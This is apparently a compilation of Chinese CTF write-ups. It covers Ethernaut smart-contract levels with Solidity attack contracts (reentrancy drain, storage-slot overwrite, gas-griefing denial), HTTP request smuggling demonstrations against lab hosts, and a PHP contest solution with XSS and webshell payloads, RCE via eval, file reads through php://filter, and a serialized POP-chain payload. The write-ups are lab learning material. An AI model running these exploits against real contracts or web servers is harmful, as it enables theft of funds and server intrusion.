这个题目是很著名的re-entrance攻击,也就是重入攻击。漏洞点在于withdraw函数。可以看到他是先调用了msg.sender.call{value:_amount}("");然后再在balance里面将存储的余额减去amount。这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,因为call的参数是空,所以会调用攻击合约的fallback函数,我们在fallback函数里面再次调用withdraw,这样套娃,就能将合约里面的钱都偷出来。 pragma solidity ^0.8.0; interface IReentrance {    function withdraw(uint256 _amount) external; } contract Reentrance {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function claim(uint256 _amount) public {        IReentrance(levelInstance).withdraw(_amount);   }    fallback() external payable {        IReentrance(levelInstance).withdraw(msg.value);   } } elevator 题目 另top==true 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface Building {  function isLastFloor(uint) external returns (bool); } contract Elevator {  bool public top;  uint public floor;  function goTo(uint _floor) public {    Building building = Building(msg.sender);    if (! building.isLastFloor(_floor)) {      floor = _floor;      top = building.isLastFloor(floor);   } } } 分析 合约并没有实现building,需要我们自己定义。从程序的分析来看,top不可能为true。所以我们需要在实现building的时候搞点事情,也就是第一次搞成false,第二次调用搞成true就好。 pragma solidity ^0.8.0; interface IElevator {    function goTo(uint256 _floor) external; } contract Elevator {    address levelInstance;    bool side = true;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function isLastFloor(uint256) external returns (bool) {        side = !side;        return side;   }    function go() public {        IElevator(levelInstance).goTo(1);   } } privacy 题目 将locked成为false 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Privacy {  bool public locked = true;  uint256 public ID = block.timestamp;  uint8 private flattening = 10;  uint8 private denomination = 255;  uint16 private awkwardness = uint16(now);  bytes32[3] private data;  constructor(bytes32[3] memory _data) public {    data = _data; }    function unlock(bytes16 _key) public {    require(_key == bytes16(data[2]));    locked = false; }  /*    A bunch of super advanced solidity algorithms...      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.   ~|__(o.o)      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU  */ } 分析 和那个vault一样,只不过这次的data需要确定位置。 根据32bytes一格的标准,划分如下 //slot 0 bool public locked = true; //slot 1 uint256 public constant ID = block.timestamp; //slot 2 uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now);//2 字节 //slot 3-5 bytes32[3] private data; 所以最终的data[2]就在slot5 所以最终查询: web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);}) naughty coin 题目 NaughtCoin是一个ERC20代币,你已经拥有了所有的代币。但是你只能在10年的后才能将他们转移。你需要想出办法把它们送到另一个地址,这样你就可以把它们自由地转移吗,让后通过将token余额置为0来完成此级别。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 {  // string public constant name = 'NaughtCoin';  // string public constant symbol = '0x0';  // uint public constant decimals = 18;  uint public timeLock = now + 10 * 365 days;  uint256 public INITIAL_SUPPLY;  address public player;  constructor(address _player)  ERC20('NaughtCoin', '0x0')  public {    player = _player;    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));    // _totalSupply = INITIAL_SUPPLY;    // _balances[player] = INITIAL_SUPPLY;    _mint(player, INITIAL_SUPPLY);    emit Transfer(address(0), player, INITIAL_SUPPLY); }    function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {    super.transfer(_to, _value); }  // Prevent the initial owner from transferring tokens until the timelock has passed  modifier lockTokens() {    if (msg.sender == player) {      require(now > timeLock);      _;   } else {     _;   } } } 分析 代码重载了EC20类,但是没有完全重载完,所以说可以直接调用ec20里面的函数进行转账。 contract.approve(player,toWei("1000000")) contract.transferFrom(player,contract.address,toWei("1000000")) preservation 题目 成为owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Preservation {  // public library contracts  address public timeZone1Library;  address public timeZone2Library;  address public owner;  uint storedTime;  // Sets the function signature for delegatecall  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {    timeZone1Library = _timeZone1LibraryAddress;    timeZone2Library = _timeZone2LibraryAddress;    owner = msg.sender; }  // set the time for timezone 1  function setFirstTime(uint _timeStamp) public {    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }  // set the time for timezone 2  function setSecondTime(uint _timeStamp) public {    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract {  // stores a timestamp  uint storedTime;    function setTime(uint _time) public {    storedTime = _time; } } 分析 漏洞点还是在delegatecall上,由于不会改变上下文,所以说settime函数中,将storedtime赋值为time,如果delegatecall调用,其实是把slot1中的数据赋值为time。 所以说第一次setfirsttime将timezone1改掉,改成我们攻击合约地址,这样就可以调用魔改的settime函数。,然后就可以把owner改掉了。 攻击合约代码: pragma solidity ^0.8.0; contract Preservation {    address public timeZone1Library;    address public timeZone2Library;    address public owner;    function setTime(uint256 player) public {        owner = address(uint160(player));   } } 攻击流程: contract.setFirstTime(攻擊合約地址) contract.setFirstTime(player) recovery 题目 合约的创建者已经构建了一个非常简单的合约示例。任何人都可以轻松地创建新的代币。部署第一个令牌合约后,创建者发送了0.5ether以获取更多token。后来他们失去了合同地址。 目的是从丢失的合同地址中恢复(或移除)0.5ether。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Recovery {  //generate tokens  function generateToken(string memory _name, uint256 _initialSupply) public {    new SimpleToken(_name, msg.sender, _initialSupply);   } } contract SimpleToken {  using SafeMath for uint256;  // public variables  string public name;  mapping (address => uint) public balances;  // constructor  constructor(string memory _name, address _creator, uint256 _initialSupply) public {    name = _name;    balances[_creator] = _initialSupply; }  // collect ether in return for tokens  receive() external payable {    balances[msg.sender] = msg.value.mul(10); }  // allow transfers of tokens  function transfer(address _to, uint _amount) public {    require(balances[msg.sender] >= _amount);    balances[msg.sender] = balances[msg.sender].sub(_amount);    balances[_to] = _amount; }  // clean up after ourselves  function destroy(address payable _to) public {    selfdestruct(_to); } } 分析 主要的难点就是找不到合约的地址,不过所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask钱包里面查看交易就能获得合约的地址。找到合约地址后调用destroy函数就行。 pragma solidity ^0.8.0; interface ISimpleToken {    function destroy(address payable _to) external; } contract SimpleToken {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function withdraw() public {        ISimpleToken(levelInstance).destroy(payable(msg.sender));   } } Alien Codex 题目 成为owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import '../helpers/Ownable-05.sol'; contract AlienCodex is Ownable {  bool public contact;  bytes32[] public codex;  modifier contacted() {    assert(contact);    _; }    function make_contact() public {    contact = true; }  function record(bytes32 _content) contacted public { codex.push(_content); }  function retract() contacted public {    codex.length--; }  function revise(uint i, bytes32 _content) contacted public {    codex[i] = _content; } } 分析 合约引入了ownable,这样合约中就多了个owner变量,这个变量经过查询是在slot 0中。 前十六个字节是contact 可以看到调用完makecontact就变成1了。 在这个合约里面,可以指定下标元素赋值,且没有检查。所以说我们只需要计算出codex数组和slot0的距离即可改变owner。 codex是一个32bytes的数组,在slot1中存储着他的长度。我们要计算出一个元素的下标,如果下标溢出,则会存储到slot0中。 在Solidity中动态数组内变量的存储位计算方法可以概括为: b[X] == SLOAD(keccak256(slot) + X),在这个合约中,开头的slot为1,也就是他的长度。(换句话说,数组中某个元素的slot = keccak(slot数组)+ index) 因此第一个元素位于slot keccak256(1) + 0,第二个元素位于slot keccak256(1) + 1,以此类推。 所以我们要计算的下标就是令2^256 = keccak256(slot) + index,即index = 2^256 - keccak256(slot) 攻击代码: pragma solidity ^0.8.0; interface IAlienCodex {    function revise(uint i, bytes32 _content) external; } contract AlienCodex {    address levelInstance;        constructor(address _levelInstance) {      levelInstance = _levelInstance;   }        function claim() public {        unchecked{            uint index = uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));            IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));       }   } } denial 题目 阻止其他人从合约中withdraw。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Denial {    using SafeMath for uint256;    address public partner; // withdrawal partner - pay the gas, split the withdraw    address payable public constant owner = address(0xA9E);    uint timeLastWithdrawn;    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances    function setWithdrawPartner(address _partner) public {        partner = _partner;   }    // withdraw 1% to recipient and 1% to owner    function withdraw() public {        uint amountToSend = address(this).balance.div(100);        // perform a call without checking return        // The recipient can revert, the owner will still get their share        partner.call{value:amountToSend}("");        owner.transfer(amountToSend);        // keep track of last withdrawal time        timeLastWithdrawn = now;        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);   }    // allow deposit of funds    receive() external payable {}    // convenience function    function contractBalance() public view returns (uint) {        return address(this).balance;   } } 分析 其实看到了call函数形式的转账就猜到差不多了,就是fallback函数的利用。在fallback函数中递归的调用wiithdraw函数,这样直到gas用光,就达到目的了。 pragma solidity ^0.8.0; interface IDenial {    function withdraw() external;    function setWithdrawPartner(address _partner) external; } contract Denial {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    fallback() external payable {        IDenial(levelInstance).withdraw();   }    function set() public {        IDenial(levelInstance).setWithdrawPartner(address(this));   } } gatekeeper1 题目 pass三个check 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract GatekeeperOne {  using SafeMath for uint256;  address public entrant;  modifier gateOne() {    require(msg.sender != tx.origin);    _; }  modifier gateTwo() {    require(gasleft().mod(8191) == 0);    _; }  modifier gateThree(bytes8 _gateKey) {      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");    _; }  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; } } 分析 第一个check直接用合约交互即可。 第三个check实际上是个截断问题,也就是说0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff 主要的难点在于第二个check,需要设定执行到gatetwo时的gasleft % 8191 == 0。 达到这个有两个方式,第一种方式是把原本题目合约扒下来,放到debug测试网络,然后攻击合约与其交互,在debug中看下gasleft是多少然后调整算出需要的gasleft。但是不同编译器版本编译出的合约所耗费的gas并不相同,按照medium网站上说的方式到etherscan上查了下合约信息,由于没有上传源码并不能得到题目合约的 编译器版本,所以尽管我们在debug环境下算出了符合条件的gas,仍然不能保证会成功。 第二种方式就比较暴力,直接写一个for循环,每次的gas都从一个值递增1,这样一定会遇到一个符合条件的gas。 pragma solidity ^0.6.0; import  './SafeMath.sol'; interface IGatekeeperOne {    function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperOne {    address levelInstance;    constructor (address _levelInstance) public {        levelInstance = _levelInstance;   }    function open() public {        bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;        for(uint i = 0; i < 8191 ;i++)       {            // IGatekeeperOne(levelInstance).enter{gas: 114928}(key);            levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));       }   } } magicnumber 题目 要求使用总长度不超过10的bytecode编写出一个合约,返回值为42. 代码 pragma solidity ^0.4.24; contract MagicNum {  address public solver;  constructor() public {}  function setSolver(address _solver) public {    solver = _solver; }  /*    ____________/\\\_______/\\\\\\\\\_____             __________/\\\\\_____/\\\///////\\\___            ________/\\\/\\\____\///______\//\\\__             ______/\\\/\/\\\______________/\\\/___            ____/\\\/__\/\\\___________/\\\//_____             __/\\\\\\\\\\\\\\\\_____/\\\//________            _\///////////\\\//____/\\\/___________             ___________\/\\\_____/\\\\\\\\\\\\\\\_            ___________\///_____\///////////////__  */ } 分析 主要参考这个链接,说的也比较详细:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2 值得注意的一点是合约代码的长度是不会算构造函数以及构造合约的init函数的。 gatekeeper2 题目 过三个检查 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract GatekeeperTwo {  address public entrant;  modifier gateOne() {    require(msg.sender != tx.origin);    _; }  modifier gateTwo() {    uint x;    assembly { x := extcodesize(caller()) }    require(x == 0);    _; }  modifier gateThree(bytes8 _gateKey) {    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);    _; }  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; } } 分析 这道题目需要在magicnumber之后做。 第一个check就是部署个合约即可。 第三个利用异或的性质,将key设置为addr ^ 0xffffffffffffff即可。 第二个check比较有意思,是利用了assembler,不过含义如字面意思。 caller()指的就是攻击合约,extcodesize(caller())指的就是攻击合约的代码长度,需要使得其长度为0。 这里在之前的magicnumber提到过,合约代码长度不会算进去构造函数的长度,所以将攻击函数直接写进构造函数即可。 pragma solidity ^0.8.0; interface IGatekeeperTwo {    function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperTwo {    address levelInstance;        constructor(address _levelInstance) {      levelInstance = _levelInstance;      unchecked{          bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1 );          IGatekeeperTwo(levelInstance).enter(key);     }   } } 由于新版本的solidity都会内置整数溢出检查,所以在攻击合约中uint64(0) - 1需要用uncheck修饰。
从一道CTF题到HTTP走私攻击
前言 最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。想和作者一样做一些CTF相关题目,可以在https://www.yijinglab.com/pages/CTFLaboratory.jsp进行一些解题操作,实战靶场级的体验! RoarCTF 2019 Easy Calc 先看下源码: <?php error_reporting(0); if(!isset($_GET['num'])){    show_source(__FILE__); }else{        $str = $_GET['num'];        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\#39;,'\\','\^'];        foreach ($blacklist as $blackitem) {                if (preg_match('/' . $blackitem . '/m', $str)) {                        die("what are you want to do?");               }       }        eval('echo '.$str.';'); } ?> 用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致: 到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念 什么是HTTP请求走私 HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。 Transfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。 这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。 如何实现HTTP请求走私攻击 当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。 CL不为0时 该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。 GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n \r\n GET / HTTP/1.1\r\n Host: example.com\r\n attack: 1\r\n hhh: 这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中 GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n \r\n GET / HTTP/1.1\r\n Host: example.com\r\n attack: 1\r\n hhh: GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n 这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。 CL-TE CL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示: POST / HTTP/1.1 Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net Connection: close Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Language: zh-CN,zh;q=0.9 Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k Content-Length: 6 Transfer-Encoding: chunked 0 A 当我们用Burp两次重放该数据包,会得到返回结果: 解释一下为什么Content-Length的长度是6,因为Burp把\r\n给直接解释成换行了,实际请求体应该是这样: 0\r\n \r\n A 后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。 TE-CL TE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头: POST / HTTP/1.1 Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ Content-length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\r\n\r\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。 CL-CL CL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理 回到最初 因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。
记一道2021浙江省赛的Web题
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前景: 刚刚结束的浙江省网络安全大赛,其中Web类的第二题考察了POP链以及原生类的利用,在比赛期间只构造了POP链、得到flag的文件名,但是并没有利用原生类将flag文件完整读出来。这篇文章将会把这个题涉及到的知识点复现一遍,并且给出这个题详细的WP。 原生类: 报错类 Error 在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。 例如,有以下代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 当传入下方payload的时候,会产生XSS ?a=Error&b=<script>alert("Lxxx");</script> Exception 与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。 ?a=Exception&b=<script>alert("Lxxx");</script> 这个时候可能就会有聪明又帅气的师傅们问了,那既然是会被PHP执行,那么可不可以往里面传一句话木马呢? 同样还是上方的测试代码,我们传以下payload: ?a=Exception&b=eval($_POST[1]); 可以看到,传入的一句话木马被原封不动的打印出来,因此在上方这种测试代码中,无法RCE。 不过如果将测试代码换一个写法,那么就可以RCE,我们将测试代码修改如下: <?php $a = $_GET['a']; $b = $_GET['b']; eval("echo new $a($b());"); 这个时候我们传入以下payload ?a=Exception&b=system('whoami') 这个时候虽然报错了,但是仍然可以RCE,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE。 遍历目录类 DirectoryIterator DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项 假设我们有以下代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 这个时候我们传参如下: ?a=DirectoryIterator&b=. 在页面中返回了一个点(真的是一个点,不是显示屏上的污渍) 这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议 ?a=DirectoryIterator&b=glob://flag* 那么这个时候又有聪明又帅气的师傅要问了,如果这个时候不知道flag文件名怎么办? 答案是:暴力搜索 ?a=DirectoryIterator&b=glob://f[k-m]* glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@到[都允许匹配,也就是匹配大写字母。 FilesystemIterator 同样的,如果DirectoryIterator类因为奇奇怪怪的原因被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多,这里就不过多赘述。 GlobIterator GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容 ?a=GlobIterator&b=f[k-m]* 读取文件类 SplFileObject SplFileObject类为文件提供了一个面向对象接口 说句人话就是这个类可以用来读文件,具体怎么读呢?下面做个测试。 同样还是这个测试代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 我们传payload如下: ?a=SplFileObject&b=flag.php 利用这个类可以将我们的flag.php文件读出来 不过有细心又帅气的师傅要问了,你这怎么就读了一行啊,还读了一个假的flag,你这SplFileObject保熟嘛? 确实,SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历,不过还有没有其他方法将其读取出来呢? 我们先看官方文档,看看SplFileObject类的__construct方法到底是怎么样的? 可以看到,要求我们传入的参数是一个文件名,参数是文件名的方法联想到了什么?还有哪些方法是需要传入文件名的?(require,include,file_get_contents,file_put_contents等等等等) 而这些方法都有一个共同点就是,可以用伪协议。 虽然官方文档上没有说(也可能是因为我没看到),但是我们还是可以大胆的猜想,SplFileObject可以使用伪协议。 因此我们传入payload: ?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php 可以看到,这个时候flag.php就被我们完整的读取出来了。 其余类 本质上不能说是其余类,不过在文章的后半部分会讲解今年浙江网安省赛其中一道web题,其余没有在这道题中用到的原生类我就不在这里赘述了,给个类名让师傅们参考参考。 ReflectionMethod ReflectionClass SoapClient SimpleXMLElement ZipArchive 2021浙江网络安全省赛Web2的WP 题目代码如下: <?php error_reporting(0); class A1{    public $tmp1;    public $tmp2;    public function __construct()   {        echo "Enjoy Hacking!";   }    public function __wakeup()   {        $this->tmp1->hacking();   } } class A2 {    public $tmp1;    public $tmp2;    public function hacking()   {        echo "Hacked By Bi0x";   } } class A3 {    public $tmp1;    public $tmp2;    public function hacking()   {        $this->tmp2->get_flag();   } } class A4 {    public $tmp1='1919810';    public $tmp2;    public function get_flag()   {        echo "flag{".$this->tmp1."}";   } } class A5 {    public $tmp1;    public $tmp2;    public function __call($a,$b)   {        $f=$this->tmp1;        $f();   } } class A6 {    public $tmp1;    public $tmp2;    public function __toString()   {        $this->tmp1->hack4fun();        return "114514";   } } class A7 {    public $tmp1="Hello World!";    public $tmp2;    public function __invoke()   {        echo "114514".$this->tmp2.$this->tmp1;   } } class A8 {    public $tmp1;    public $tmp2;    public function hack4fun()   {        echo "Last step,Ganbadie~";        if(isset($_GET['DAS']))       {            $this->tmp1=$_GET['DAS'];       }        if(isset($_GET['CTF']))       {            $this->tmp2=$_GET['CTF'];       }        echo new $this->tmp1($this->tmp2);   } } if(isset($_GET['DASCTF'])) {    unserialize($_GET['DASCTF']); } else{    highlight_file(__FILE__); } 这道题的前半部分是POP链的相关内容,由于POP链不在这篇文章涉及到的知识点范围之内,因此就简略一点,直接给出我在做题的时候写的思路以及POC <?php class A1{    public $tmp1;    public $tmp2;    public function __construct()   { $this->tmp1 = new A3();        echo "Enjoy Hacking!"."<br/>";   }    public function __wakeup()   {        $this->tmp1->hacking();   } } class A2 {    public $tmp1;    public $tmp2;    public function hacking()   {        echo "Hacked By Bi0x";   } } class A3 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp2 = new A4(); }    public function hacking()   {        $this->tmp2->get_flag();   } } class A4 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp1 = new A6(); }    public function get_flag()   {        echo "flag{".$this->tmp1."}";   } } class A5 {    public $tmp1 = "";    public $tmp2;    public function __call($a,$b)   {        $f=$this->tmp1;        $f();   } } class A6 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp1 = new A8(); }    public function __toString()   {        $this->tmp1->hack4fun();        return "114514";   } } class A7 {    public $tmp1="Hello World!";    public $tmp2;    public function __invoke()   {        echo "114514".$this->tmp2.$this->tmp1;   } } class A8 {    public $tmp1 ;    public $tmp2 ;    public function hack4fun()   {        echo "Last step,Ganbadie~";        if(isset($_GET['DAS']))       {            $this->tmp1=$_GET['DAS'];       }        if(isset($_GET['CTF']))       {            $this->tmp2=$_GET['CTF'];       }        echo new $this->tmp1($this->tmp2);   } } $a = new A1(); echo urlencode(serialize($a)); 得到部分payload: O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A 将上方的payload传入DASCTF参数即可 这个时候当字符串反序列化到A8这个类中,需要我们传入DAS以及CTF参数,其中关键代码如下: echo new $this->tmp1($this->tmp2); 因此我们先把flag文件名找出来,我们可以利用DirectoryIterator类结合glob遍历目录,得到flag文件名为flaggggggggggg.php ?DAS=DirectoryIterator&CTF=glob://flag* 得到文件名之后就读取文件,利用SplFileObject类结合伪协议读取flaggggggggggg.php文件 ?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7D 最终再将浏览器的回显进行base64解码即可得到flag
云函数(变相代理池)的三种常见利用
